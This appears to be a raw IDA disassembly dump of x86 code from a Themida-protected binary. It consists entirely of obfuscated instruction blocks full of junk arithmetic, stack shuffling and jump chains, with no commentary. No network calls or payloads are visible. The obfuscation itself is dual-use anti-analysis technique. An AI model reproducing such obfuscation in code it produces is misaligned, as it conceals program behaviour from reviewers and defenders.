		pop	ebp
		push	595Ch
		mov	[esp+1Eh+var_20+2], eax
		push	[esp+1Eh+var_1C+2]
		push	[esp+22h+var_24+2]
		jmp	loc_566B26
; ---------------------------------------------------------------------------


loc_562288:				; CODE XREF: sub_56207C-2B67j
		sub	[esp+24h+var_24], 6F9603CFh
		jmp	loc_56826B
; ---------------------------------------------------------------------------


loc_562294:				; CODE XREF: sub_56207C+8ED3j
		and	dh, ch
		pop	ecx
		dec	dh
		add	dh, 3Dh
		xor	dh, 29h
		jmp	loc_56ABA9
; ---------------------------------------------------------------------------


loc_5622A4:				; CODE XREF: sub_56207C+D4FEj
		add	bx, 7E90h
		movzx	eax, ax
		push	eax
		jmp	loc_567D0E
; ---------------------------------------------------------------------------


loc_5622B2:				; CODE XREF: sub_56207C+5A02j
		mov	esp, [esp+24h+var_24]
		jmp	loc_56B204
; ---------------------------------------------------------------------------


loc_5622BA:				; CODE XREF: sub_56207C-685j
		sub	ebp, 68A03CF2h
		add	ebp, edi
		push	edi
		jmp	loc_563B52
; ---------------------------------------------------------------------------


loc_5622C8:				; CODE XREF: sub_56207C+676Dj
		mov	edi, [esp+22h+var_24+2]
		add	esp, 4
		add	edi, 33FC6B29h
		mov	ebx, edi
		pop	edi
		jmp	loc_560B2C
; ---------------------------------------------------------------------------


loc_5622DF:				; CODE XREF: sub_56207C+6CBBj
		push	ebp
		push	51DEh
		mov	[esp+22h+var_24+2], esp
		add	[esp+22h+var_24+2], 4
		jmp	loc_5685AD
; ---------------------------------------------------------------------------


loc_5622F1:				; CODE XREF: sub_56207C+24E9j
		pop	ebx
		push	edi
		jmp	loc_571D8C
; ---------------------------------------------------------------------------


loc_5622F8:				; CODE XREF: sub_56207C+46E1j
		mov	ebx, [esp+22h+var_24+2]
		add	esp, 4
		push	ecx
		mov	ch, 0FFh
		sub	dh, ch
		jmp	loc_566869
; ---------------------------------------------------------------------------


loc_562308:				; CODE XREF: sub_55F501+433j
		pop	ebp
		pop	[esp+1Eh+var_20+2]
		pop	esp
		add	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		jmp	loc_56ABDA
; ---------------------------------------------------------------------------


loc_562318:				; CODE XREF: Themida_:00561FBCj
		add	esp, 4
		push	52BAh
		mov	[esp+16h+var_18+2], edx
		push	esp
		pop	edx
		push	ecx
		push	ebx
		mov	ebx, 59D31A80h
		push	0B23h
		mov	[esp+22h+var_24+2], edx
		mov	edx, 51AF3CD6h
		push	edi
		mov	edi, 7534041Ch
		add	edi, 2671BCF9h
		mov	ecx, edi
		pop	edi
		xor	ecx, edx
		pop	edx
		add	ecx, ebx
		pop	ebx
		jmp	loc_566F2C
; ---------------------------------------------------------------------------


loc_562353:				; CODE XREF: sub_56207C+5780j
		add	ebp, edi
		push	ecx
		push	edi
		jmp	loc_56995D
; ---------------------------------------------------------------------------


loc_56235C:				; CODE XREF: sub_56207C-11E0j
		add	ebx, 2D130834h
		push	edi
		mov	edi, 40B73B7Dh
		inc	edi
		or	edi, 2AEF430Bh
		add	edi, 1
		jmp	loc_5684AC
; ---------------------------------------------------------------------------


loc_56237A:				; CODE XREF: sub_56207C+10505j
		xor	eax, ebx
		pop	ebx
		push	small word ptr [eax]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562385:				; CODE XREF: sub_56207C+13F4j
		pop	edx
		push	edi
		mov	edi, 53281AA2h
		sub	edi, 60861E1Ch
		jmp	loc_561B98
; ---------------------------------------------------------------------------


loc_562397:				; CODE XREF: sub_56207C+B0C0j
		sub	al, cl
		sub	esp, 4
		mov	[esp+36h+var_38+2], edx
		mov	dh, 9Dh
		xor	dh, 9Bh
		sub	dh, 0C4h
		xor	dh, 28h
		shl	dh, 6
		sub	dh, 2Dh
		add	dh, 0DCh
		sub	al, dh
		jmp	loc_572EEB
; ---------------------------------------------------------------------------


loc_5623BD:				; DATA XREF: Themida_:0055E1D0o
		mov	cx, word ptr [esp+36h+var_38+2]
		sub	esp, 4
		mov	[esp+3Ah+var_3C+2], edi
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], esp
		push	edx
		push	edi
		push	ecx
		push	ebx
		mov	ebx, 48BF082Bh
		or	ebx, 76CB67EAh
		add	ebx, 4F031AD9h
		xor	ebx, 83A2B10Bh
		mov	ecx, ebx
		mov	ebx, [esp+4Eh+var_50+2]
		add	esp, 4
		mov	edi, 5F9F4D17h
		sub	edi, ecx
		jmp	loc_566F06
; ---------------------------------------------------------------------------


loc_5623FF:				; CODE XREF: sub_56207C+7BC5j
		sub	ebx, edi
		pop	edi
		push	[esp+46h+var_48+2]
		pop	edx
		add	esp, 4
		sub	ebx, 283949BAh
		mov	ebp, [esp+42h+var_44+2]
		push	eax
		mov	eax, esp
		jmp	loc_56404D
; ---------------------------------------------------------------------------


loc_56241D:				; CODE XREF: sub_56207C+1701j
		sub	ebp, 7A3447DCh
		and	ebp, 72BC15F9h
		jmp	loc_566975
; ---------------------------------------------------------------------------


loc_56242E:				; CODE XREF: sub_56207C+9C4Aj
		mov	[esp+46h+var_48+2], ecx
		jmp	loc_5707F6
; ---------------------------------------------------------------------------


loc_562436:				; CODE XREF: sub_56207C+698Cj
		push	eax
		push	esi
		mov	esi, 330619DBh
		mov	eax, esi
		pop	esi
		push	edx
		mov	edx, 330619D7h
		sub	eax, edx
		pop	edx
		jmp	loc_563ACB
; ---------------------------------------------------------------------------


loc_56244E:				; CODE XREF: sub_56207C+D932j
		add	bl, ah
		pop	eax
		mov	ch, bl
		pop	ebx
		jmp	loc_56FD82
; ---------------------------------------------------------------------------


loc_562459:				; CODE XREF: sub_56207C+4D7Bj
		xchg	edi, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		or	word ptr [esp+42h+var_44+2], ax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562469:				; CODE XREF: sub_56207C+146Bj
		pop	ebx
		xchg	eax, [esp+42h+var_44+2]
		mov	esp, [esp+42h+var_44+2]
		jmp	loc_5656EE
; ---------------------------------------------------------------------------


loc_562475:				; CODE XREF: sub_56207C+7A2Cj
		pop	eax
		sub	esp, 4
		jmp	loc_56E2C2
; ---------------------------------------------------------------------------


loc_56247E:				; CODE XREF: sub_56207C+4BBDj
		xor	edx, 1840224h
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		jmp	loc_5703E2
; ---------------------------------------------------------------------------


loc_562492:				; CODE XREF: sub_56207C+10E12j
		sub	esp, 4
		mov	[esp+42h+var_44+2], ecx
		push	edx
		jmp	loc_565469
; ---------------------------------------------------------------------------


loc_5624A1:				; CODE XREF: sub_56207C+8845j
		sub	ecx, 5BE313C8h
		jmp	loc_5611D4
; ---------------------------------------------------------------------------


loc_5624AC:				; CODE XREF: sub_56207C+104D4j
		mov	ebp, 108E3F69h
		push	ebx
		mov	ebx, 4D9B3EE3h
		or	ebp, ebx
		mov	ebx, [esp+4Ah+var_4C+2]
		jmp	loc_565A17
; ---------------------------------------------------------------------------


loc_5624C1:				; CODE XREF: sub_56207C+C3ADj
		mov	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 684C2A1Bh
		jmp	loc_561AD0
; ---------------------------------------------------------------------------


loc_5624CF:				; CODE XREF: sub_56207C+211Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_56B9A4
; ---------------------------------------------------------------------------


loc_5624E3:				; CODE XREF: sub_56207C+19D6j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+4Eh+var_50+2]
		xor	[esp+4Eh+var_50+2], ecx
		xor	ecx, [esp+4Eh+var_50+2]
		pop	esp
		add	ebx, 4
		jmp	loc_5617CB
; ---------------------------------------------------------------------------


loc_562504:				; CODE XREF: sub_56207C+115A2j
		mov	ecx, 592130F7h
		xor	ebp, ecx
		pop	ecx
		add	esi, ebp
		pop	ebp
		pop	ecx
		add	esi, 4
		xor	esi, [esp+3Eh+var_40+2]
		xor	[esp+3Eh+var_40+2], esi
		xor	esi, [esp+3Eh+var_40+2]
		jmp	loc_564519
; ---------------------------------------------------------------------------


loc_562521:				; CODE XREF: sub_56207C+561Dj
		push	706E0B90h
		mov	edx, [esp+42h+var_44+2]
		add	esp, 4
		shr	edx, 3
		xor	edx, 3A9987B2h
		push	edx
		add	[esp+42h+var_44+2], 21B70C9Fh
		pop	edi
		sub	edi, 21B70C9Fh
		push	[esp+3Eh+var_40+2]
		pop	edx
		jmp	loc_563686
; ---------------------------------------------------------------------------


loc_56254D:				; CODE XREF: sub_56207C+27EEj
		sub	esp, 4
		mov	[esp+42h+var_44+2], eax
		push	edx
		pop	eax
		pop	edx
		not	edx
		xchg	eax, edx
		sub	eax, 18B84035h
		shl	eax, 1
		push	esi
		push	33B26489h
		pop	esi
		xor	esi, 108A2048h
		sub	esi, 1DC34BB6h
		not	esi
		jmp	loc_56367B
; ---------------------------------------------------------------------------


loc_56257A:				; CODE XREF: sub_56207C+F1ADj
		and	ebx, esi
		pop	esi
		push	esi
		mov	esi, 33E37158h
		not	esi
		push	ebp
		mov	ebp, 7EEA6558h
		add	esi, ebp
		pop	ebp
		jmp	loc_565D3E
; ---------------------------------------------------------------------------


loc_562593:				; CODE XREF: sub_56207C+64EEj
		add	esi, 4
		push	eax
		jmp	loc_5681F5
; ---------------------------------------------------------------------------


loc_56259F:				; CODE XREF: sub_56207C+A639j
		mov	edi, eax
		pop	eax
		dec	edi
		dec	edi
		inc	edi
		add	edi, 0DACBACFCh
		jmp	loc_56582D
; ---------------------------------------------------------------------------


loc_5625B0:				; CODE XREF: sub_56207C+3A16j
		xchg	edx, [esp+42h+var_44+2]
		pop	esp
		add	eax, 2CCA6BFCh
		push	ecx
		jmp	loc_565A97
; ---------------------------------------------------------------------------


loc_5625BF:				; CODE XREF: sub_56207C+956Fj
		mov	al, 39h
		xor	al, bl
		pop	ebx
		sub	al, 1
		jmp	loc_56EDFA
; ---------------------------------------------------------------------------


loc_5625CB:				; CODE XREF: sub_56207C+DD39j
		pop	ecx
		add	esp, 4
		jmp	loc_5651BC
; ---------------------------------------------------------------------------


loc_5625D4:				; CODE XREF: sub_56207C+7EE1j
		pop	edx
		xor	ecx, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], ecx
		xor	ecx, [esp+32h+var_34+2]
		jmp	loc_571A5C
; ---------------------------------------------------------------------------
		mov	ebp, 210E55F5h
		add	ebp, 7B4226F2h
		shr	ebp, 1
		push	73D4h
		mov	[esp+36h+var_38+2], edi
		mov	edi, 168B21AAh
		sub	ebp, edi
		pop	edi
		add	ebp, 1531300Ah
		add	ebp, 506167D7h
		add	ebp, 62D04B5Ah
		sub	esp, 4
		mov	[esp+36h+var_38+2], ebx
		mov	ebx, 25886978h
		add	ebx, 6CAA06AEh
		push	eax
		mov	eax, 40425D5h
		and	ebx, eax
		pop	eax
		jmp	loc_564429
; ---------------------------------------------------------------------------


loc_562634:				; CODE XREF: sub_56207C+ECF9j
		xor	edx, 768D2B9Dh
		jmp	loc_56BB8E
; ---------------------------------------------------------------------------


loc_56263F:				; CODE XREF: sub_56207C+5A75j
		add	esi, 4
		jmp	loc_563475
; ---------------------------------------------------------------------------


loc_56264A:				; CODE XREF: sub_56207C+9CE1j
		push	[esp+36h+var_38+2]
		pop	ecx
		sub	esp, 4
		jmp	loc_568747
; ---------------------------------------------------------------------------


loc_562656:				; CODE XREF: sub_56207C+FDC4j
		push	[esp+3Ah+var_3C+2]
		mov	ecx, [esp+3Eh+var_40+2]
		push	edx
		jmp	loc_568A4C
; ---------------------------------------------------------------------------


loc_562662:				; CODE XREF: sub_56207C+EF6Fj
		pop	esi
		jmp	loc_56C2DB
; ---------------------------------------------------------------------------


loc_562668:				; CODE XREF: sub_56207C+5304j
		add	edi, 25E140A1h
		push	[esp+3Eh+var_40+2]
		pop	ecx
		jmp	loc_56D34E
; ---------------------------------------------------------------------------


loc_562677:				; CODE XREF: sub_56207C+107F2j
		mov	[esp+3Eh+var_40+2], ebx
		jmp	loc_56720E
; ---------------------------------------------------------------------------


loc_56267F:				; CODE XREF: sub_56207C-248Fj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562684:				; CODE XREF: sub_56207C+3F72j
		pop	[esp-0Ch+arg_8]
		mov	esp, [esp-10h+arg_C]
		or	eax, eax
		jz	loc_5669EE
		push	3A34h
		jmp	loc_565B02
; ---------------------------------------------------------------------------


loc_56269C:				; CODE XREF: sub_56207C-11BEj
		mov	ebx, 7DF931E6h
		xor	ebx, 531D6332h
		or	ebx, 0C766135h
		push	16CEh
		mov	[esp+2Ch+var_2C], edi
		push	edx
		push	6C4C5CA0h
		pop	edx
		add	edx, 0FC0DCD71h
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		pop	edx
		push	ecx
		jmp	loc_57310C
; ---------------------------------------------------------------------------


loc_5626CF:				; CODE XREF: sub_56207C+8EEAj
		push	ebx
		mov	bl, ah
		mov	cl, bl
		pop	ebx
		pop	eax
		mov	bh, cl
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_567453
; ---------------------------------------------------------------------------


loc_5626E3:				; CODE XREF: sub_56207C+FB5Cj
		add	edi, 4
		add	edi, 4
		push	edi
		push	[esp+2Ch+var_28]
		pop	edi
		pop	[esp+2Ch+var_2C]
		jmp	loc_56A160
; ---------------------------------------------------------------------------


loc_5626FA:				; CODE XREF: sub_56207C+10349j
		xchg	ecx, [esp+28h+var_28]
		pop	eax
		xor	[edx+30h], eax
		push	ecx
		mov	ecx, 1A675C46h
		shl	ecx, 7
		add	ecx, 0CC51DD30h
		add	ecx, 4B687A41h
		add	ecx, edx
		sub	ecx, 4B687A41h
		xor	eax, [ecx]
		pop	ecx
		push	ecx
		mov	ecx, 30h
		add	ecx, edx
		xor	[ecx], eax
		pop	ecx
		push	ebp
		mov	ebp, 43260735h
		xor	ebp, 22CA4DD2h
		or	[edx+30h], ebp
		pop	ebp
		push	ecx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		mov	eax, 30h
		mov	ecx, eax
		pop	eax
		jmp	loc_56747F
; ---------------------------------------------------------------------------


loc_562753:				; CODE XREF: sub_56207C+B2CDj
		mov	bh, 12h
		push	cx
		mov	ch, 0DDh
		add	al, ch
		pop	cx
		jmp	loc_56EF87
; ---------------------------------------------------------------------------


loc_562762:				; CODE XREF: sub_56207C-38B7j
		mov	ecx, 1E445C69h
		add	eax, 61E17C65h
		add	eax, ecx
		push	edi
		mov	edi, 3F73703h
		push	eax
		mov	eax, 20282917h
		jmp	loc_5705A9
; ---------------------------------------------------------------------------


loc_56277F:				; CODE XREF: sub_56207C+5938j
		xor	edi, eax
		xor	eax, edi
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], edi
		sub	esp, 4
		mov	[esp+18h+var_18], esi
		push	30BCh
		mov	[esp+1Ch+var_1C], ebx
		push	ebp
		mov	ebp, 39DF307Ah
		mov	ebx, ebp
		pop	ebp
		or	ebx, 5EA590Ch
		push	edi
		mov	edi, 68082A8Eh
		xor	ebx, edi
		pop	edi
		or	ebx, 37440C13h
		shl	ebx, 1
		dec	ebx
		add	ebx, 1011401Ch
		push	ebx
		add	[esp+20h+var_20], 19247560h
		pop	esi
		sub	esi, 19247560h
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_55E4B5
; ---------------------------------------------------------------------------


loc_5627EA:				; CODE XREF: sub_56207C+C8F2j
		sub	al, 8Dh
		add	al, 0ADh
		sub	al, 3Bh
		sub	al, 0C2h
		sub	al, dh
		add	al, 0C2h
		jmp	loc_564A96
; ---------------------------------------------------------------------------


loc_5627FB:				; CODE XREF: sub_56207C+BDC6j
		mov	edi, 3C97BEF4h
		push	edi
		add	[esp+20h+var_20], 5666794Eh
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		sub	ebp, 5666794Eh
		pop	edi
		push	ecx
		mov	ecx, 43A14C5h
		xor	ecx, 219073E0h
		jmp	loc_564FAB
; ---------------------------------------------------------------------------


loc_562826:				; CODE XREF: sub_56207C+7E3Ej
		pop	edx
		jmp	loc_571BBE
; ---------------------------------------------------------------------------


loc_56282C:				; CODE XREF: sub_56207C+2033j
		pop	eax
		xor	ebp, 0FB7F3BE0h
		or	ecx, ebp
		jmp	loc_56A6E8
; ---------------------------------------------------------------------------


loc_56283A:				; CODE XREF: sub_56207C+E59Ej
		mov	edx, esp
		push	4B06h
		mov	[esp+18h+var_18], esi
		jmp	loc_57165D
; ---------------------------------------------------------------------------


loc_562849:				; CODE XREF: sub_56207C+175Dj
		sub	esi, 0E0E1421h
		jmp	loc_56FD61
; ---------------------------------------------------------------------------


loc_562854:				; CODE XREF: sub_56207C+BC72j
		sub	edi, edx
		mov	edx, [esp+18h+var_18]
		push	edx
		jmp	loc_564839
; ---------------------------------------------------------------------------


loc_56285F:				; CODE XREF: sub_56207C+5F44j
		mov	edi, 13583FB3h
		xor	[esp+1Ch+var_18], edi
		pop	edi
		pop	dword ptr [edi+40h]
		push	ecx
		push	esi
		jmp	loc_563F43
; ---------------------------------------------------------------------------


loc_562873:				; CODE XREF: sub_56207C+53A3j
		mov	eax, 69755630h
		sub	edi, eax
		pop	eax
		jmp	loc_560ADE
; ---------------------------------------------------------------------------


loc_562880:				; CODE XREF: sub_56207C+4594j
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		not	cl
		push	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], eax
		push	edx
		mov	dl, cl
		mov	ah, dl
		pop	edx
		mov	bh, ah
		pop	eax
		push	eax
		mov	ah, bh
		mov	dl, ah
		jmp	loc_56A227
; ---------------------------------------------------------------------------


loc_5628A2:				; CODE XREF: sub_56207C+10455j
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_56C202
; ---------------------------------------------------------------------------


loc_5628BC:				; CODE XREF: sub_56207C+A885j
		mov	esp, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_5628C8:				; CODE XREF: sub_56207C+3680j
		mov	edx, esp
		add	edx, 4
		jmp	loc_562E58
; ---------------------------------------------------------------------------


loc_5628D5:				; CODE XREF: sub_56207C+2128j
		mov	ecx, 5D5F691Dh
		shr	ecx, 5
		jmp	loc_55FACE
; ---------------------------------------------------------------------------


loc_5628E2:				; CODE XREF: sub_56207C+E99Dj
		xchg	edi, [esp+20h+var_20]
		pop	ecx
		push	eax
		mov	eax, 5B647205h
		jmp	loc_5695C7
; ---------------------------------------------------------------------------


loc_5628F1:				; CODE XREF: sub_56207C+2DB6j
		add	ecx, 4
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		xchg	ebp, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	eax
		mov	eax, 53BA6C13h
		jmp	loc_570BDF
; ---------------------------------------------------------------------------


loc_56290C:				; CODE XREF: sub_56207C-2210j
		pop	esp
		mov	[esp+24h+var_24], ebx
		push	[esp+24h+var_20]
		push	[esp+28h+var_28]
		pop	ebx
		push	eax
		jmp	loc_570C9B
; ---------------------------------------------------------------------------


loc_56291E:				; CODE XREF: sub_56207C+770Cj
		push	5C52h
		jmp	loc_562BC9
; ---------------------------------------------------------------------------


loc_562928:				; CODE XREF: sub_55F0B8+1Aj
		push	4B82h
		push	esp
		pop	[esp+38h+var_38]
		jmp	loc_569A1A
; ---------------------------------------------------------------------------


loc_562936:				; CODE XREF: sub_56207C+1051Bj
		add	eax, ebx
		add	eax, 72D62340h
		jmp	loc_56B3F7
; ---------------------------------------------------------------------------


loc_562942:				; CODE XREF: sub_56207C-1F69j
		push	[esp+1Eh+var_20+2]
		push	[esp+22h+var_24+2]
		jmp	loc_56650E
; ---------------------------------------------------------------------------


loc_56294D:				; CODE XREF: sub_56207C+E3D6j
		push	ebx
		mov	ebx, 47A872B8h
		jmp	loc_566FD7
; ---------------------------------------------------------------------------


loc_562958:				; CODE XREF: sub_56207C+5FE8j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56295D:				; CODE XREF: sub_56207C+C7D7j
		pop	esp
		xchg	ebx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], edx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], ecx
		push	22F7h
		jmp	loc_564A75
; ---------------------------------------------------------------------------


loc_562977:				; CODE XREF: sub_56207C+100B7j
		pop	esi
		sub	eax, ebx
		sub	eax, 654B7C24h
		push	265Ah
		mov	[esp+2Eh+var_30+2], edi
		push	3AE5h
		mov	[esp+32h+var_34+2], edx
		push	edi
		push	75D77F4Ah
		mov	edi, [esp+3Ah+var_3C+2]
		add	esp, 4
		sub	edi, 72466885h
		add	edi, 34FC69A2h
		jmp	loc_5658B7
; ---------------------------------------------------------------------------


loc_5629AF:				; CODE XREF: sub_56207C+ACFDj
		dec	esi
		neg	esi
		sub	esi, 4EC051A0h
		jmp	loc_568699
; ---------------------------------------------------------------------------


loc_5629BD:				; CODE XREF: sub_56207C+113AEj
		mov	bl, 53h
		xor	bl, dl
		pop	edx
		add	dl, bl
		pop	bx
		shr	dl, 8
		jmp	loc_56A1D8
; ---------------------------------------------------------------------------


loc_5629CE:				; CODE XREF: sub_56207C-EF3j
		add	[esp+3Eh+var_40+2], 4
		pop	esi
		add	esi, 4
		jmp	loc_567A93
; ---------------------------------------------------------------------------


loc_5629DE:				; CODE XREF: sub_56207C+8211j
		mov	eax, ecx
		jmp	loc_5699B0
; ---------------------------------------------------------------------------


loc_5629E5:				; CODE XREF: sub_56207C+B34Aj
		pop	eax
		neg	edx
		xor	edx, 86484117h
		jmp	loc_563B4B
; ---------------------------------------------------------------------------


loc_5629F3:				; CODE XREF: sub_56207C+2FF7j
		sub	ebx, 181A3B03h
		sub	ebx, 16C22278h
		jmp	loc_564632
; ---------------------------------------------------------------------------


loc_562A04:				; CODE XREF: sub_56207C-3241j
		xchg	ebx, [esp+6+var_8+2]
		pop	esp
		mov	[esp+2+var_4+2], ecx
		mov	ebp, [esp+2+var_4+2]
		add	esp, 4
		pop	ecx
		jmp	loc_562A4D
; ---------------------------------------------------------------------------


loc_562A17:				; CODE XREF: sub_56207C+E03j
		dec	edx
		not	edx
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 318544C3h
		add	edx, eax
		mov	eax, [esp+0]
		jmp	loc_56AE1A
; ---------------------------------------------------------------------------


loc_562A32:				; CODE XREF: sub_56207C+9AC0j
		pop	bp
		shr	bp, 7
		dec	bp
		add	bp, 5E83h
		mov	cx, bp
		pop	ebp
		xor	dx, cx
		pop	cx
		jmp	loc_56B537
; ---------------------------------------------------------------------------


loc_562A4D:				; CODE XREF: sub_56207C+996j
		sub	eax, 25E26E99h
		add	eax, ebp
		add	eax, 25E26E99h
		pop	ebp
		jmp	loc_5665AA
; ---------------------------------------------------------------------------


loc_562A5F:				; CODE XREF: sub_56207C+10CECj
		pop	ecx
		inc	ecx
		sub	ecx, 6F6C7137h
		mov	edx, ecx
		pop	ecx
		push	ecx
		mov	ecx, edx
		push	ecx
		pop	ebx
		pop	ecx
		pop	edx
		push	ebx
		mov	ebx, 64257B0h
		xor	ebx, 534179BEh
		sub	ebx, 196EB858h
		sub	edx, ebx
		pop	ebx
		jmp	loc_5698F1
; ---------------------------------------------------------------------------


loc_562A8B:				; CODE XREF: sub_56207C+53FEj
		add	eax, ebp
		mov	ebp, [esp-16h+arg_10+2]
		add	esp, 4
		push	105h
		mov	[esp-16h+arg_10+2], eax
		push	ebp
		push	[esp-12h+arg_10+2]
		pop	ebp
		pop	[esp-12h+arg_C+2]
		not	ebp
		xchg	ebp, [esp-16h+arg_10+2]
		mov	eax, [esp-16h+arg_10+2]
		push	eax
		jmp	loc_56A292
; ---------------------------------------------------------------------------


loc_562AB5:				; CODE XREF: sub_56207C-232Dj
		mov	ebx, 1216A48h
		jmp	loc_564524
; ---------------------------------------------------------------------------


loc_562ABF:				; CODE XREF: sub_56207C+6C5Bj
		and	ecx, 7F3547B6h
		jmp	loc_56E540
; ---------------------------------------------------------------------------


loc_562ACA:				; CODE XREF: sub_56207C-340Bj
		pop	ebp
		xchg	eax, [esp+1Ah+var_1C+2]
		pop	esp
		add	ebx, 2
		jmp	loc_567EFC
; ---------------------------------------------------------------------------


loc_562AD7:				; CODE XREF: sub_56207C+D289j
		push	dword ptr [edi+eax*4]
		push	2B74h
		jmp	loc_567C1D
; ---------------------------------------------------------------------------


loc_562AE4:				; CODE XREF: sub_56207C-33D1j
		mov	[esp+1Ah+var_1C+2], ebx
		mov	ebx, 1ABA4D89h
		or	ebx, 14F94550h
		xor	ebx, 0B777050h
		shl	ebx, 6
		shr	ebx, 5
		push	ebp
		mov	ebp, 7F630D04h
		xor	ebx, ebp
		pop	ebp
		add	ebx, 0B960A888h
		push	edx
		push	ebx
		sub	[esp+22h+var_24+2], 5DE962C5h
		jmp	loc_564983
; ---------------------------------------------------------------------------


loc_562B1B:				; CODE XREF: sub_56207C+6085j
		pop	edx
		push	edx
		jmp	loc_5734C2
; ---------------------------------------------------------------------------


loc_562B22:				; CODE XREF: sub_56207C+7A14j
		xor	ebp, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	[esp+22h+var_24+2], esp
		push	eax
		mov	eax, 62401C13h
		add	eax, 69707D0Fh
		add	eax, 344F66E2h
		add	[esp+26h+var_24+2], eax
		pop	eax
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_562B45:				; CODE XREF: sub_56207C+E50Dj
		sub	edi, ebp
		pop	ebp
		jmp	loc_56DF0E
; ---------------------------------------------------------------------------


loc_562B4D:				; CODE XREF: sub_56207C-107j
		sub	esi, ecx
		jmp	loc_568DBC
; ---------------------------------------------------------------------------


loc_562B54:				; DATA XREF: Themida_:0055E22Co
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	ebp
		push	55DEh
		mov	[esp+34h+var_34], esp
		add	[esp+34h+var_34], 4
		mov	ebp, [esp+34h+var_34]
		jmp	loc_56B00E
; ---------------------------------------------------------------------------


loc_562B6D:				; CODE XREF: sub_56207C+D6D7j
		push	ebp
		mov	ebp, 4
		sub	eax, 2F1C0FB7h
		add	eax, ebp
		sub	esp, 4
		jmp	loc_5686F9
; ---------------------------------------------------------------------------


loc_562B85:				; CODE XREF: sub_56207C+D2F6j
		mov	[esp+3Ch+var_3C], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		and	eax, edx
		pop	edx
		jmp	loc_566793
; ---------------------------------------------------------------------------


loc_562B9F:				; CODE XREF: sub_56207C+8033j
		mov	edi, 4EB242B8h
		or	ebx, edi
		jmp	loc_56EC8E
; ---------------------------------------------------------------------------


loc_562BAB:				; CODE XREF: sub_56207C-2EE5j
		xor	ecx, esi
		pop	esi
		xor	ecx, 255314BDh
		add	esi, ecx
		push	[esp+0Ah+var_C+2]
		pop	ecx
		add	esp, 4
		xchg	esi, [esp+6+var_8+2]
		pop	esp
		jmp	loc_5620B2
; ---------------------------------------------------------------------------


loc_562BC9:				; CODE XREF: sub_56207C+8A7j
		mov	[esp+30h+var_30], edx
		push	191h
		mov	[esp+34h+var_34], ebx
		push	6A182B91h
		pop	ebx
		neg	ebx
		not	ebx
		sub	ebx, 3CCFDFB4h
		mov	edx, ebx
		jmp	loc_56C678
; ---------------------------------------------------------------------------


loc_562BEB:				; CODE XREF: sub_56207C+42FFj
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		jmp	loc_56D057
; ---------------------------------------------------------------------------


loc_562BF9:				; CODE XREF: sub_56207C-1149j
		pop	edx
		push	33D9h
		mov	[esp+34h+var_34], ebx
		jmp	loc_55E9D0
; ---------------------------------------------------------------------------


loc_562C07:				; CODE XREF: sub_56207C+16F7j
		mov	[esp+34h+var_34], eax
		sub	esp, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esp
		add	[esp+3Ch+var_3C], 4
		pop	[esp+3Ch+var_3C]
		jmp	loc_569200
; ---------------------------------------------------------------------------


loc_562C25:				; CODE XREF: sub_56207C-1AACj
		push	ebx
		jmp	loc_56545F
; ---------------------------------------------------------------------------


loc_562C2B:				; CODE XREF: sub_56207C-24DAj
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		push	[esp-8+arg_4]
		mov	eax, [esp-4+arg_0]
		add	esp, 4
		push	357h
		mov	[esp-4+arg_0], edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, 4
		sub	edx, 53CB49CFh
		push	edi
		jmp	loc_5668E6
; ---------------------------------------------------------------------------


loc_562C64:				; CODE XREF: sub_56207C+C545j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_56473A
; ---------------------------------------------------------------------------


loc_562C72:				; CODE XREF: sub_56207C+B16Bj
		xor	al, bl
		push	small 2763h
		mov	word ptr [esp+2+var_4+2], cx
		push	ebx
		mov	bl, 9Fh
		shr	bl, 8
		xor	bl, 0D7h
		jmp	loc_56B99C
; ---------------------------------------------------------------------------


loc_562C8A:				; CODE XREF: sub_56207C+105A8j
		mov	esi, eax
		jmp	loc_5656CB
; ---------------------------------------------------------------------------


loc_562C91:				; CODE XREF: sub_56207C+78j
		mov	[esp+4Ch+var_4C], esi
		push	[esp+4Ch+var_48]
		mov	esi, [esp+50h+var_50]
		add	esp, 4
